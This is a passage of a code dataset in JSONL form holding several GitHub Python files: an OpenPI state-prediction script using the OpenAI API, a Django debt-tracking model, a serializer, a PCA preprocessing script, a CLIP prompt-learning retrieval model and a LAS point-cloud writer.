e_a.items():\n for attribute, pre, post in attributes:\n template += f\"\\n - {attribute.split(' | ')[0]} of {entity.split(' | ')[0]} was {pre.split(' | ')[0]} before and {post.split(' | ')[0]} after\"\n template += \"\\n\"\n template += \"\\n\"\n #print(template)\n #raise SystemExit\n return template\n\ndef apply_fewshot_template_chatgpt_2(examples):\n template = []\n template.append({\"role\": \"system\", \"content\": \"You are a helpful assistant that predictes state changes entities and attributes in procedures.\"})\n for example in examples:\n template.append({\"role\": \"user\", \"content\": f\"A person's goal is to {example['goal'].lower()}. Next, I'll provide you with a step and an attribute of an entity. You will return the states before and after doing this step. Your format would be\\nBefore: some state\\nAfter: some state\\nIs that clear?\"})\n template.append({\"role\": \"assistant\", \"content\": \"Yes, I understand. Please go ahead.\"})\n for i, (step, e_a) in enumerate(example[\"gold_step_entities_attributes\"].items()):\n for entity, attributes in e_a.items():\n for attribute, pre, post in attributes:\n template.append({\"role\": \"user\", \"content\": f\"Step: {example['steps'][i]}\\nHow does the {attribute.split(' | ')[0]} of {entity.split(' | ')[0]} change?\"})\n template.append({\"role\": \"assistant\", \"content\": f\"Before: {pre.split(' | ')[0]}\\nAfter: {post.split(' | ')[0]}\"})\n #print(template)\n #raise SystemExit\n return template\n\ndef build_fewshot(model):\n # Randomly choose 1 proc from train\n train_examples = parse_data(\"train\")\n\n if model == \"davinci\":\n NUM_SHOTS = 1\n #selected_examples = random.sample(train_examples, NUM_SHOTS)\n selected_examples = [train_examples[192]]\n fewshot = apply_fewshot_template_2(selected_examples)\n elif model == \"chatgpt\":\n NUM_SHOTS = 1\n #selected_examples = random.sample(train_examples, NUM_SHOTS)\n selected_examples = [train_examples[192]]\n fewshot = apply_fewshot_template_chatgpt_2(selected_examples)\n #print(fewshot)\n return fewshot\n\n@backoff.on_exception(backoff.expo, (openai.error.RateLimitError, openai.error.APIError))\ndef run_gpt(prompt, model=\"text-davinci-003\", temperature=0.5, stop=['\\n']):\n ret = openai.Completion.create(\n engine=model,\n prompt=prompt,\n temperature=temperature,\n max_tokens=200,\n top_p=1,\n frequency_penalty=0,\n presence_penalty=0,\n stop=stop\n )\n gen_text = ret[\"choices\"][0][\"text\"].strip()#.split('\\n')[0]\n return gen_text\n\n@backoff.on_exception(backoff.expo, openai.error.RateLimitError)\ndef run_chatgpt(prompt, model=\"gpt-3.5-turbo\", temperature=0.7):\n ret = openai.ChatCompletion.create(\n model=model,\n messages=prompt\n )\n gen_text = dict(ret[\"choices\"][0][\"message\"])\n return gen_text\n\ndef predict_davinci():\n examples = parse_data(args.split)\n prompt_fewshot = build_fewshot(args.model)\n\n pred_dict = {}\n gold_dict = {}\n\n for example in examples:\n pred_dict[example[\"id\"]] = []\n gold_dict[example[\"id\"]] = []\n prompt = prompt_fewshot + f\"\"\"A person's goal is to {example[\"goal\"].lower()}.\nFor each of the steps, list all the state changes of involved entities and attributes.\"\"\"\n for i, step_block in enumerate(example[\"gold_step_entities_attributes\"].values()):\n prompt += f\"\\nStep: {example['steps'][i]}\"\n step_gold = []\n step_pred = []\n for entity, attributes_blocks in step_block.items():\n for attribute, pre, post in attributes_blocks:\n prompt += f\"\\n - {attribute.split(' | ')[0]} of {entity.split(' | ')[0]} was\"\n step_gold.append((entity.split(' | ')[0], attribute.split(' | ')[0], pre.split(' | ')[0], post.split(' | ')[0]))\n\n #print(prompt)\n #raise SystemExit\n output = run_gpt(prompt, stop=['\\n'])\n prompt += ' ' + output\n #print(output)\n #raise SystemExit\n\n # parse output\n output_str = output if args.model == \"davinci\" else output['content']\n #print(output_str)\n\n pred_pre = output_str.strip().split(' before and ')[0]\n pred_post = output_str.strip().split(' before and ')[1].split(' after')[0]\n step_pred.append((entity, attribute, pred_pre, pred_post))\n \n pred_dict[example[\"id\"]].append(step_pred)\n gold_dict[example[\"id\"]].append(step_gold)\n\n return pred_dict, gold_dict\n\ndef predict_chatgpt():\n examples = parse_data(args.split)\n prompt_fewshot = build_fewshot(args.model)\n\n pred_dict = {}\n gold_dict = {}\n\n for example in examples:\n pred_dict[example[\"id\"]] = []\n gold_dict[example[\"id\"]] = []\n prompt = prompt_fewshot.copy()\n prompt.append({\"role\": \"user\", \"content\": f\"A person's goal is to {example['goal'].lower()}. Next, I'll provide you with a step and an attribute of an entity. You will return the states before and after doing this step. Your format would be\\nBefore: some state\\nAfter: some state\\nIs that clear?\"})\n prompt.append({\"role\": \"assistant\", \"content\": \"Yes, I understand. Please go ahead.\"})\n for i, step_block in enumerate(example[\"gold_step_entities_attributes\"].values()):\n print(i)\n step_gold = []\n step_pred = []\n for entity, attributes_blocks in step_block.items():\n for attribute, pre, post in attributes_blocks:\n new_prompt = prompt.copy()\n new_prompt.append({\"role\": \"user\", \"content\": f\"Step: {example['steps'][i]}\\nHow does the {attribute.split(' | ')[0]} of {entity.split(' | ')[0]} change?\"})\n step_gold.append((entity.split(' | ')[0], attribute.split(' | ')[0], pre.split(' | ')[0], post.split(' | ')[0]))\n\n #print(new_prompt)\n #raise SystemExit\n output = run_chatgpt(new_prompt)\n # parse output\n output_str = output['content']\n print(output_str)\n #prompt.append({\"role\": \"assistant\", \"content\": output_str})\n #print(output)\n #raise SystemExit\n\n try:\n pred_pre = output_str.strip().split('Before: ')[1].split(\"\\nAfter: \")[0]\n pred_post = output_str.strip().split(\"\\nAfter: \")[1]\n except:\n pred_pre = \"Error\"\n pred_post = \"Error\"\n step_pred.append((entity, attribute, pred_pre, pred_post))\n #print(pred_pre, pred_post)\n #raise SystemExit\n \n pred_dict[example[\"id\"]].append(step_pred)\n gold_dict[example[\"id\"]].append(step_gold)\n\n return pred_dict, gold_dict\n\nif args.model == \"davinci\":\n pred_dict, gold_dict = predict_davinci()\nelif args.model == \"chatgpt\":\n pred_dict, gold_dict = predict_chatgpt()\nwith open(f\"../data/{args.split}_states_{args.model}.json\", \"w\") as f:\n json.dump(pred_dict, f, indent=4)\n\nwith open(f\"../data/{args.split}_states_gold.json\", \"w\") as f:\n json.dump(gold_dict, f, indent=4)","repo_name":"allenai/openpi-dataset","sub_path":"v2.0/source/predict_states.py","file_name":"predict_states.py","file_ext":"py","file_size_in_byte":9672,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"69"} +{"seq_id":"71201361181","text":"from django.db import models\n\nfrom apps.users.models import User\n\n\nTRANSACTION_CHOICE = (\n ('borrow', 'Взять в долг'),\n ('repay', 'Погасить займ'),\n ('lend', 'Дать в долг'),\n ('receive', 'Принять погашение'),\n)\n\n\nclass Contact(models.Model):\n name = models.CharField(max_length=255)\n user = models.ForeignKey(\n User, on_delete=models.CASCADE,\n related_name='contacts'\n )\n phone_number = models.CharField(max_length=90)\n\n def __str__(self):\n return self.name\n\n\nclass Transaction(models.Model):\n transaction_type = models.CharField(\n max_length=20, choices=TRANSACTION_CHOICE,\n default='borrow', verbose_name='Transaction type',\n )\n contact = models.ForeignKey(\n Contact, on_delete=models.CASCADE,\n null=True, blank=True, related_name='transactions',\n )\n amount = models.DecimalField(\n max_digits=10, decimal_places=2)\n description = models.TextField()\n date = models.DateTimeField(auto_now_add=True)\n\n def __str__(self):\n return f'{self.description}-{self.transaction_type}'\n","repo_name":"JEthebest/Dolgi","sub_path":"apps/debts/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1135,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"27670006271","text":"\n\nfrom uuid import UUID\n\n\nclass InputMessageSerializer:\n def __init__(self,**kwargs):\n self.d = kwargs\n self.errors = []\n self.topic = None\n self.data = None\n self.valid = None\n\n def check_if_there_is_topic(self):\n\n ret = self.d.get(\"topic\") is not None and self.d.get(\"topic\") != \"\"\n if not ret:\n self.errors.append(\"Must include a topic key\")\n return ret\n if not isinstance(self.d.get(\"topic\"),str):\n self.errors.append(\"Must be a string\")\n return ret\n self.topic = self.d.get(\"topic\")\n return ret\n\n def check_if_there_is_data(self):\n ret = self.d.get(\"data\") is not None\n self.data = self.d.get(\"data\")\n if not ret:\n self.errors.append(\"Must include a data key\")\n return ret\n\n \n\n def is_valid(self):\n ret = True\n ret &= self.check_if_there_is_topic()\n ret &= self.check_if_there_is_data()\n return ret\n \n\n def to_dict(self):\n return {\n \"topic\":self.topic,\n \"data\":self.data\n }\n\n ","repo_name":"grupolasetronik/laser-monitor","sub_path":"src/app/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":1134,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"30186132618","text":"import numpy as np\nimport pandas as pd\nfrom datetime import datetime\nimport time;\nimport glob\nimport csv\nfrom sklearn.decomposition import PCA\nimport matplotlib.pyplot as plt\n\nfile_Data = pd.read_csv('lcms_outgoing_sms_offnet_count123.csv',sep= ',', header= None)\nDate =file_Data.values[:,0]\n\n\nMSISDN = file_Data.values[:,1]\nCount= file_Data.values[:,2]\n\nprint(\"Preprocessing is Started\")\nd = []\nfor datee in range(len(Date)): \n res = datetime.strptime(str(Date[datee]), \"%Y-%m-%d %H:%M:%S.000+0000\")\n \n stringdate = str(res)\n m = stringdate[0:10] \n t = time.mktime(time.strptime(m, \"%Y-%m-%d\")); \n d.append(t)\n\nraw_data = {'Date': d,\n 'MSISDN': MSISDN,\n 'Count': Count}\ndf = pd.DataFrame(raw_data, columns = ['Date', 'MSISDN','Count'])\n\n\ndf.to_csv('lcms_outgoing_sms_offnet_count1.csv',index = False)\nmyfiles = glob.glob(\"lcms_outgoing_sms_offnet_count1.csv\")\nfor file in myfiles:\n lines = open(file).readlines()\n open(file, 'w').writelines(lines[1:])\nprint(\"--------------Preprocessing is done---------------\")\n\nprint(\"Applying PCA\")\n\nnew_File_Data = pd.read_csv('lcms_outgoing_sms_offnet_count1.csv',sep= ',', header= None)\nX = new_File_Data.values[:, 0:3]\npca = PCA(n_components=3)\nsklearn_transf = pca.fit_transform(X)\n\n\nplt.plot(sklearn_transf[0:2,0],sklearn_transf[0:2,1], 'o', markersize=7, color='blue', alpha=0.5, label='class1')\n##plt.plot(sklearn_transf[20:40,0], sklearn_transf[20:40,1], '^', markersize=7, color='red', alpha=0.5, label='class2')\n\nplt.xlabel('x_values')\nplt.ylabel('y_values')\nplt.title('Transformed samples with class labels from matplotlib.mlab.PCA()')\n\nplt.show()\n\n\n##sklearn_transf = pca.fit(X)\n##first = pca.components_[0]\n##second = pca.components_[1]\n##third = pca.components_[2]\n\n##transformed_data = pca.transform(X)\n##for ii,jj in zip(transformed_data,X):\n## plt.scatter(first[0]*ii[0],first[1]*ii[0],color ='r')\n## plt.scatter(second[0]*jj[1],second[1]*jj[1],color ='b')\n## ##plt.scatter(third[0]*kk[0],third[1]*kk[0],color ='c')\n## plt.scatter(jj[0],jj[1],color ='c')\n##plt.show()\n\n##var1=np.cumsum(np.round(pca.explained_variance_ratio_, decimals=4)*100)\n##plt.plot(var1)\n##plt.show()\n\n##plt.scatter(first,second,third)\n##plt.show()\n\n\n\nprint(pca.explained_variance_ratio_)\n\nprint(\"Applying PCA is done!!!!!!!!!!!!!\")\n","repo_name":"samarthmaiya/ML","sub_path":"pca/DateConvertor.py","file_name":"DateConvertor.py","file_ext":"py","file_size_in_byte":2328,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"39893767084","text":"import sys\nimport torch\nimport torch.nn as nn\nfrom clip import clip\nfrom clip.model import CLIP\nimport math\nimport torch.nn as nn\nfrom PIL import Image\nfrom functools import reduce\nfrom operator import mul\nfrom src.utils import utils\nfrom clip.simple_tokenizer import SimpleTokenizer as _Tokenizer\nimport copy\ntry:\n from torchvision.transforms import InterpolationMode\n BICUBIC = InterpolationMode.BICUBIC\nexcept ImportError:\n BICUBIC = Image.BICUBIC\n_tokenizer = _Tokenizer()\n\nimport collections\nimport torch.nn.functional as F\nclass TextEncoder(nn.Module):\n def __init__(self, clip_model):\n super().__init__()\n self.transformer = clip_model.transformer\n self.positional_embedding = clip_model.positional_embedding\n self.ln_final = clip_model.ln_final\n self.text_projection = clip_model.text_projection\n self.dtype = clip_model.dtype\n\n def forward(self, prompts, tokenized_prompts):\n x = prompts + self.positional_embedding.type(self.dtype)\n x = x.permute(1, 0, 2) # NLD -> LND\n x = self.transformer(x)\n x = x.permute(1, 0, 2) # LND -> NLD\n x = self.ln_final(x).type(self.dtype)\n x = x[torch.arange(x.shape[0]), tokenized_prompts.argmax(dim=-1)] @ self.text_projection \n\n return x\n\nclass TextPromptLearner(nn.Module):\n def __init__(self, cfg, classnames, clip_model:CLIP, device):\n super().__init__()\n n_cls = len(classnames) \n n_ctx = cfg.tp_N_CTX \n dtype = clip_model.dtype \n self.ctx_dim = clip_model.ln_final.weight.shape[0] \n clip_imsize = clip_model.visual.input_resolution \n cfg_imsize = cfg.image_size \n assert cfg_imsize == clip_imsize, f\"cfg_imsize ({cfg_imsize}) must equal to clip_imsize ({clip_imsize})\"\n ctx_vectors = torch.empty(n_ctx, self.ctx_dim, dtype=dtype).to(device) \n nn.init.normal_(ctx_vectors, std=0.02)\n self.ctx = nn.Parameter(ctx_vectors) \n classnames = [name.replace(\"_\", \" \") for name in classnames]\n name_lens = [len(_tokenizer.encode(name)) for name in classnames] \n prompts = [\"a photo of \" + name + \" from \" + \"X \"*n_ctx +\"domain.\" for name in classnames] \n self.prefix_index = [length+5 for length in name_lens] \n tokenized_prompts = torch.cat([clip.tokenize(p) for p in prompts]).to(device)\n with torch.no_grad():\n embedding = clip_model.token_embedding(tokenized_prompts).type(dtype) \n self.n_cls = n_cls\n self.n_ctx = n_ctx\n self.register_buffer(\"origin_text_embedding\",embedding)\n \n self.tokenized_prompts = tokenized_prompts \n def forward(self):\n ctx = self.ctx\n if ctx.dim() == 2:\n ctx = ctx.unsqueeze(0).expand(self.n_cls, -1, -1) \n \n prompts = [torch.cat([self.origin_text_embedding[i,:self.prefix_index[i]],ctx[i],self.origin_text_embedding[i,self.prefix_index[i]+self.n_ctx:]],dim=0).view(1,-1,self.ctx_dim) for i in range(self.n_cls)]\n prompts = torch.cat(prompts, dim=0)\n return prompts\n\nclass image_encoder(nn.Module):\n def __init__(self, clip_model:CLIP,cfg, dict_clss:dict, dict_doms:dict, device):\n super().__init__()\n self.cfg = cfg\n self.device = device\n self.dict_clss = dict_clss\n self.dict_doms = dict_doms\n self.dom_num_tokens = len(self.dict_doms)\n self.cls_num_tokens = len(self.dict_clss)\n # clip:CLIP = self.load_clip()\n self.conv1 = clip_model.visual.conv1\n width = self.conv1.out_channels\n self.feature_template = clip_model.visual.class_embedding\n self.feature_proj = clip_model.visual.proj\n patch_size = self.conv1.kernel_size\n self.clip_positional_embedding = clip_model.visual.positional_embedding\n self.generator = copy.deepcopy(clip_model.visual.transformer)\n self.ln_pre = clip_model.visual.ln_pre\n self.transformer = clip_model.visual.transformer\n self.ln_post = clip_model.visual.ln_post\n \n self.W_image = torch.nn.Linear(768, 768)\n self.W_prompt = torch.nn.Linear(768, 768)\n self.num_heads = 1\n self.temperature_dom = self.cfg.ratio_soft_dom\n self.temperature_cls = self.cfg.ratio_soft_cls\n\n self.ratio = self.cfg.ratio_prompt\n self.prompt = self.cfg.prompt\n \n\n self.layer_norm1 = torch.nn.LayerNorm(768)\n self.layer_norm2 = torch.nn.LayerNorm(768)\n # self.layer_norm_img = torch.nn.LayerNorm(768)\n # self.layer_norm_prm = torch.nn.LayerNorm(768)\n self.prompt_proj = torch.nn.Linear(768,768)\n\n if self.cfg.DOM_PROJECT > -1:\n # only for prepend / add\n sp_dom_prompt_dim = self.cfg.DOM_PROJECT\n self.sp_dom_prompt_proj = nn.Linear(\n sp_dom_prompt_dim, width)\n nn.init.kaiming_normal_(\n self.sp_dom_prompt_proj.weight, a=0, mode='fan_out')\n else:\n sp_dom_prompt_dim = width\n self.sp_dom_prompt_proj = nn.Identity()\n\n if self.cfg.CLS_PROJECT > -1:\n # only for prepend / add\n sp_cls_prompt_dim = self.cfg.CLS_PROJECT\n self.sp_cls_prompt_proj = nn.Linear(\n sp_cls_prompt_dim, width)\n nn.init.kaiming_normal_(\n self.sp_cls_prompt_proj.weight, a=0, mode='fan_out')\n else:\n sp_cls_prompt_dim = width\n self.sp_cls_prompt_proj = nn.Identity()\n\n # definition of specific prompts \n val = math.sqrt(6. / float(3 * reduce(mul, patch_size, 1) + sp_dom_prompt_dim)) # noqa\n \n self.specific_domain_prompts = nn.Parameter(torch.randn(self.dom_num_tokens, sp_dom_prompt_dim)) # layer, num_token, prompt_dim\n nn.init.uniform_(self.specific_domain_prompts.data, -val, val)\n\n val = math.sqrt(6. / float(3 * reduce(mul, patch_size, 1) + sp_cls_prompt_dim)) # noqa\n self.specific_class_prompts = nn.Parameter(torch.randn(self.cls_num_tokens, sp_cls_prompt_dim)) # layer, num_token, prompt_dim\n nn.init.uniform_(self.specific_class_prompts.data, -val, val)\n \n\n def incorporate_prompt(self, x, dom_index, cls_index, stage, img=None, dom_prompts=None, cls_prompts=None):\n # combine prompt embeddings with image-patch embeddings\n B = x.shape[0] # batch size\n x = self.conv1(x)\n x = x.reshape(x.shape[0], x.shape[1], -1) # 65 768 49\n x = x.permute(0, 2, 1) # 65 49 768\n base = self.cfg.GP_CLS_NUM_TOKENS+self.cfg.GP_DOM_NUM_TOKENS + 1\n # pdb.set_trace()\n if stage == 1:\n\n domain_prompts = torch.cat([\n self.sp_dom_prompt_proj(\n self.specific_domain_prompts[self.prompt * (index) :self.prompt * (index + 1)]\n ) for index in dom_index\n ], dim=0)\n \n class_prompts = torch.cat([\n self.sp_cls_prompt_proj(\n self.specific_class_prompts[self.prompt * (index) :self.prompt * (index + 1)]\n ) for index in cls_index\n ], dim=0)\n # pdb.set_trace()\n x = torch.cat((\n (self.feature_template+self.clip_positional_embedding[0]).expand(B,-1).view(B, 1, -1),\n domain_prompts.view(B, self.prompt, -1),\n class_prompts.view(B, self.prompt, -1),\n x + self.clip_positional_embedding[1:]\n ), dim=1)\n\n elif stage == 2:\n\n x = x + self.clip_positional_embedding[1:]\n\n elif stage == 3:\n\n sp_dom_prompts = self.sp_dom_prompt_proj(self.specific_domain_prompts)\n sp_cls_prompts = self.sp_cls_prompt_proj(self.specific_class_prompts)\n \n cls_prompt_mask = torch.zeros(B, sp_cls_prompts.shape[0], sp_cls_prompts.shape[1]).type(torch.bool).to(self.device)\n dom_prompt_mask = torch.zeros(B, sp_dom_prompts.shape[0], sp_dom_prompts.shape[1]).type(torch.bool).to(self.device)\n\n for i in range(B):\n start_idx = self.prompt * (cls_index[i])\n end_idx = self.prompt * (cls_index[i])\n cls_prompt_mask[i, start_idx:end_idx, :] = 1\n \n for i in range(B):\n start_idx = self.prompt * (dom_index[i])\n end_idx = self.prompt * (dom_index[i])\n dom_prompt_mask[i, start_idx:end_idx, :] = 1\n \n sp_cls_prompts = sp_cls_prompts.expand(B,-1,-1).masked_fill(cls_prompt_mask, 0)\n sp_dom_prompts = sp_dom_prompts.expand(B,-1,-1).masked_fill(dom_prompt_mask, 0) \n\n dom_attention_prompt = self.ImagePromptAttention_dom(img,sp_dom_prompts)\n cls_attention_prompt = self.ImagePromptAttention_cls(img,sp_cls_prompts)\n\n dom_prompts = torch.div(dom_attention_prompt, self.ratio)\n cls_prompts = torch.div(cls_attention_prompt, self.ratio)\n\n x = torch.cat(((\n self.feature_template+self.clip_positional_embedding[0]).expand(B,-1).view(B, 1, -1),\n dom_prompts,\n cls_prompts,\n x + self.clip_positional_embedding[1:]\n ), dim=1)\n elif stage == 4:\n \"\"\"\n test time generated prompts: no need mask specific prompts\n \"\"\"\n dom_attention_prompt = self.ImagePromptAttention_dom(img,self.sp_dom_prompt_proj(self.specific_domain_prompts).expand(B,-1,-1))\n cls_attention_prompt = self.ImagePromptAttention_cls(img,self.sp_cls_prompt_proj(self.specific_class_prompts).expand(B,-1,-1))\n\n dom_prompts = torch.div(dom_attention_prompt, self.ratio)\n cls_prompts = torch.div(cls_attention_prompt, self.ratio)\n\n x = torch.cat(((\n self.feature_template+self.clip_positional_embedding[0]).expand(B,-1).view(B, 1, -1),\n dom_prompts,\n cls_prompts,\n x + self.clip_positional_embedding[1:]\n ), dim=1)\n\n\n\n return x\n \n def vit(self, x, out_token):\n x = self.ln_pre(x)\n x = x.permute(1, 0, 2)\n if out_token == 1:\n x = self.transformer(x)\n x = x.permute(1, 0, 2)\n x = self.ln_post(x[:,out_token,:])\n x = x @ self.feature_proj\n else :\n x = self.generator(x)\n x = x.permute(1, 0, 2)\n x = self.ln_post(x[:,:1,:])\n return x\n \n def forward(self, image, dom_id, cls_id, stage):\n if stage == 1: # training for specific prompts\n x = self.incorporate_prompt(image, dom_id, cls_id, stage)\n x = torch.nn.functional.dropout(x, self.cfg.dropout)\n x = self.vit(x, 1)\n \n elif stage == 2: # input: template + specific prompts\n x = self.incorporate_prompt(image, dom_id, cls_id, 2) # cat template + specific prompts + image patch\n x = torch.nn.functional.dropout(x, self.cfg.dropout)\n x = self.vit(x, 2) # get genenrated prompts\n x = self.incorporate_prompt(image, dom_id, cls_id, 3, x) # cat CLS generated prompts + image patch\n \n x = self.vit(x, 1)\n elif stage == 4:\n x = self.incorporate_prompt(image, dom_id, cls_id, 2)\n x = self.vit(x, 2)\n x = self.incorporate_prompt(image, dom_id, cls_id, 4, x)\n x = self.vit(x, 1)\n \n return x\n def ImagePromptAttention_dom(self, images, prompts):\n images = self.W_image(images).chunk(self.num_heads, dim=-1) # (batch_size, prompt_dim)\n prompts = self.W_prompt(prompts).chunk(self.num_heads, dim=-1) # (batch_size, num_prompts, prompt_dim)\n combined_prompts = []\n\n for i in range(self.num_heads):\n attention_scores = torch.bmm(prompts[i], images[i].transpose(1, 2)) / self.temperature_dom\n attention_weights = F.softmax(attention_scores, dim=1) # (batch_size, num_prompts, 1)\n # combined_prompts.append(torch.mm(attention_weights, prompts[i]))\n combined_prompts.append(torch.sum(attention_weights * prompts[i], dim=1)) \n combined_prompts = torch.cat(combined_prompts, dim=-1).unsqueeze(1)\n combined_prompts = combined_prompts + self.layer_norm2(self.prompt_proj(combined_prompts))\n return combined_prompts\n \n def ImagePromptAttention_cls(self, images, prompts):\n\n images = self.W_image(images).chunk(self.num_heads, dim=-1) # (batch_size, prompt_dim)\n prompts = self.W_prompt(prompts).chunk(self.num_heads, dim=-1) # (batch_size, num_prompts, prompt_dim)\n combined_prompts = []\n\n for i in range(self.num_heads):\n attention_scores = torch.bmm(prompts[i], images[i].transpose(1, 2)) / self.temperature_cls\n attention_weights = F.softmax(attention_scores, dim=1) # (batch_size, num_prompts, 1)\n # combined_prompts.append(torch.mm(attention_weights, prompts[i]))\n combined_prompts.append(torch.sum(attention_weights * prompts[i], dim=1)) \n combined_prompts = torch.cat(combined_prompts, dim=-1).unsqueeze(1)\n combined_prompts = combined_prompts + self.layer_norm2(self.prompt_proj(combined_prompts))\n return combined_prompts\n\n\n\nclass UCDR_Adapter(nn.Module):\n def __init__(self, cfg, dict_clss:dict, dict_doms:dict, device):\n super().__init__()\n self.cfg = cfg\n self.device = device\n self.dict_clss = dict_clss\n self.dict_doms = dict_doms\n self.dom_num_tokens = len(self.dict_doms)\n self.cls_num_tokens = len(self.dict_clss)\n clip:CLIP = self.load_clip()\n self.image_encoder = image_encoder(clip, cfg, dict_clss, dict_doms, device)\n self.image_encoder_m = copy.deepcopy(image_encoder(clip, cfg, dict_clss, dict_doms, device))\n self.ratio_momentum = 0.999\n \n\n if self.cfg.tp_N_CTX != -1:\n self.text_prompt_learner = TextPromptLearner(self.cfg, self.dict_clss.keys(),clip, device)\n self.text_encoder = TextEncoder(clip)\n self.tokenized_prompts = self.text_prompt_learner.tokenized_prompts\n else :\n self.text_encoder = clip.encode_text\n self.cls_queues = {cls: collections.deque(maxlen=20) for cls in range(len(self.dict_clss))}\n \n\n def forward(self, image, domain_name, class_name, stage):\n cls_id = utils.numeric_classes(class_name, self.dict_clss)\n dom_id = utils.numeric_classes(domain_name, self.dict_doms)\n\n image_features = self.image_encoder(image, dom_id, cls_id, stage) # batch, 512\n image_features = image_features / image_features.norm(dim=-1, keepdim=True)\n\n for param, cloned_param in zip(self.image_encoder.parameters(), self.image_encoder_m.parameters()):\n cloned_param.data = self.ratio_momentum * cloned_param.data + (1 - self.ratio_momentum) * param.data\n image_features_m = self.image_encoder_m(image, dom_id, cls_id, stage)\n image_features_m = image_features_m / image_features_m.norm(dim=-1, keepdim=True)\n for i in range(image_features_m.size(0)):\n current_cls = cls_id[i]\n self.cls_queues[current_cls].append(image_features_m[i])\n queues = self.cls_queues\n \n if self.cfg.tp_N_CTX != -1:\n text_prompts = self.text_prompt_learner()\n tokenized_prompts = self.tokenized_prompts\n text_features = self.text_encoder(text_prompts, tokenized_prompts)\n else :\n text_template = torch.cat([clip.tokenize(f\"a photo of a {c}\") for c in class_name]).to(self.device)\n text_features = self.text_encoder(text_template)\n text_features = text_features / text_features.norm(dim=-1, keepdim=True)\n # logit_scale = self.logit_scale.exp()\n # logits = logit_scale * image_features @ text_features.t()\n return image_features, text_features, cls_id, queues\n \n def load_clip(self):\n backbone_name = self.cfg.clip_backbone\n print(f\"=======load CLIP:{backbone_name}=========\")\n url = clip._MODELS[backbone_name]\n model_path = clip._download(url)\n\n try:\n # loading JIT archive\n model = torch.jit.load(model_path, map_location=self.device).eval()\n state_dict = None\n\n except RuntimeError:\n state_dict = torch.load(model_path, map_location=self.device)\n\n model = clip.build_model(state_dict or model.state_dict())\n return model.float().to(self.device)\n ","repo_name":"fine68/UCDR2024","sub_path":"src/models/UCDR_Adapter.py","file_name":"UCDR_Adapter.py","file_ext":"py","file_size_in_byte":16547,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"3356298581","text":"import laspy\nimport struct\nimport numpy as np\n\nclass LasFileWriter:\n def __init__(self, output_file, cloud_params, reader):\n self.output_file = output_file\n self.cloud_params = cloud_params\n self.input_reader_obj = reader.to_lasfile_object()\n self.input_file_header = reader.to_lasfile_object().header\n\n def write_point_las(self, point, irradiation, normal_vector):\n extra_bytes = [\n irradiation.global_irradiance,\n irradiation.beam_component,\n irradiation.diffuse_component,\n irradiation.sun_hours,\n ]\n\n normal_as_rgb = (\n int((0.5 * normal_vector.x + 0.5) * 255.0),\n int((0.5 * normal_vector.y + 0.5) * 255.0),\n int((0.5 * normal_vector.z + 0.5) * 255.0),\n )\n\n\n extra_bytes = struct.pack('<' + 'd' * len(extra_bytes), *extra_bytes)\n normal_as_rgb = struct.pack('<HHH', *normal_as_rgb)\n\n return (point.x,point.y,point.z),normal_as_rgb,extra_bytes\n\n def fields_to_vlr(self, fields):\n vlr = struct.pack('<H', 0) + struct.pack('<H', 10)\n for idx, field in enumerate(fields):\n num_of_nulls = 192 - (len(field) + 1)\n is_last_row = idx + 1 == len(fields)\n if is_last_row:\n num_of_nulls -= 3\n else:\n num_of_nulls -= 1\n vlr += field.encode() + b'\\x00' * num_of_nulls\n if not is_last_row:\n vlr += struct.pack('<H', 10)\n return vlr\n\n def calculate_offset(self,reader,offsets,scales):\n initial_offsets = offsets\n initial_scales = scales\n #print(offsets,\"init offsets\")\n #print(scales,\"init scales\")\n\n min_x_scaled = min(reader.x)\n min_X_unscaled = min(reader.X)\n #print(min_x_scaled,\"x scaled\")\n #print(min_X_unscaled,\"x unscaled\")\n initial_x_offset = offsets[0]\n initial_x_scale = scales[0]\n offset_x = min_x_scaled - (min_X_unscaled * initial_x_scale)\n\n min_y_scaled = min(reader.y)\n min_Y_unscaled = min(reader.Y)\n initial_y_offset = offsets[1]\n initial_y_scale = scales[1]\n offset_y = min_y_scaled - (min_Y_unscaled * initial_y_scale)\n\n min_z_scaled = min(reader.z)\n min_Z_unscaled = min(reader.Z)\n initial_z_offset = offsets[2]\n initial_z_scale = scales[2]\n offset_z = min_z_scaled - (min_Z_unscaled * initial_z_scale)\n\n #print([offset_x,offset_y,offset_z],\"ne offsets\")\n\n return np.array([offset_x,offset_y,offset_z])\n\n\n\n\n\n def write_output_lasfile(self,point_array, normal_vector_array, extrabytes_array):\n point_array = np.array(point_array)\n normal_vector_array = np.array(normal_vector_array)\n extrabytes_array = np.array(extrabytes_array)\n\n min_x = np.floor(np.min(point_array[:,0]))\n min_y = np.floor(np.min(point_array[:,1]))\n min_z = np.floor(np.min(point_array[:,2]))\n\n extra_bytes_fields = [\n laspy.header.ExtraBytesParams(name=\"irradiance\", type=np.float64),\n laspy.header.ExtraBytesParams(name=\"beam_component\", type=np.float64),\n laspy.header.ExtraBytesParams(name=\"diffuse_component\", type=np.float64),\n laspy.header.ExtraBytesParams(name=\"insolation_time\", type=np.float64)\n ]\n\n # 1. Create a new header\n header = laspy.LasHeader(point_format=2, version=\"1.2\")\n header.add_extra_dims(extra_bytes_fields)\n #header.offsets = np.array([min_x,min_y,min_z])\n #header.offsets = np.array([8.5525625,-1.238805e+06,6.62075])\n header.offsets = self.calculate_offset(self.input_reader_obj,self.input_file_header.offsets,self.input_file_header.scale)\n #header.scales = np.array([1, 1, 1])\n header.scales = self.input_file_header.scale\n #header.scales = np.array([0.00025,0.00025,0.00025])\n\n try:\n with laspy.open(self.output_file.path, mode=\"w\", header=header) as writer:\n point_record = laspy.ScaleAwarePointRecord.zeros(point_array.shape[0], header=header)\n point_record.x = point_array[:, 0]\n point_record.y = point_array[:, 1]\n point_record.z = point_array[:, 2]\n point_record.red = normal_vector_array[:, 0]\n point_record.green = normal_vector_array[:, 1]\n point_record.blue = normal_vector_array[:, 2]\n point_record.irradiance = extrabytes_array[:,0]\n point_record.beam_component = extrabytes_array[:,1]\n point_record.diffuse_component = extrabytes_array[:,2]\n point_record.insolation_time = 